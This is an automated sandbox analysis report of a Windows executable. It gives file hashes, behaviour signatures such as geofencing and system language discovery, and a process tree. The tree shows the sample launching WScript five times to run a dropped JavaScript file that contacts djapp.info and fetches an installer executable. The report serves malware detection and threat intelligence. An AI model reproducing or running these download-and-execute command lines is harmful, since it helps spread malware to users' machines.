Analysis

  • max time kernel
    103s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 04:08

General

  • Target

    3a14e287d9403046806a078d0bf9a411f9e344a10ba17ab3e0bd64c5702816f3N.exe

  • Size

    184KB

  • MD5

    e2e9f0655390aa71e5d0ef7f39cfd7b0

  • SHA1

    d35d2531fd41a8dc6680979dc213de2ce0aae128

  • SHA256

    3a14e287d9403046806a078d0bf9a411f9e344a10ba17ab3e0bd64c5702816f3

  • SHA512

    a4c5f47b03c3f429b4fdff911d34e362bf462ec4cde407d516a40cbc12d5dd5cd916925fa2d6157e388259147ba75661bdfc7b61160b94502f3337bb983fb759

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3I:/7BSH8zUB+nGESaaRvoB7FJNndn9

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a14e287d9403046806a078d0bf9a411f9e344a10ba17ab3e0bd64c5702816f3N.exe
    "C:\Users\Admin\AppData\Local\Temp\3a14e287d9403046806a078d0bf9a411f9e344a10ba17ab3e0bd64c5702816f3N.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB95D.js" http://www.djapp.info/?domain=RfoaUvZHfB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fufB95D.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:4696
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB95D.js" http://www.djapp.info/?domain=RfoaUvZHfB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fufB95D.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:700
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB95D.js" http://www.djapp.info/?domain=RfoaUvZHfB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fufB95D.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:2244
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB95D.js" http://www.djapp.info/?domain=RfoaUvZHfB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fufB95D.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:2604
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufB95D.js" http://www.djapp.info/?domain=RfoaUvZHfB.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rU C:\Users\Admin\AppData\Local\Temp\fufB95D.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:4940

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufB95D.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76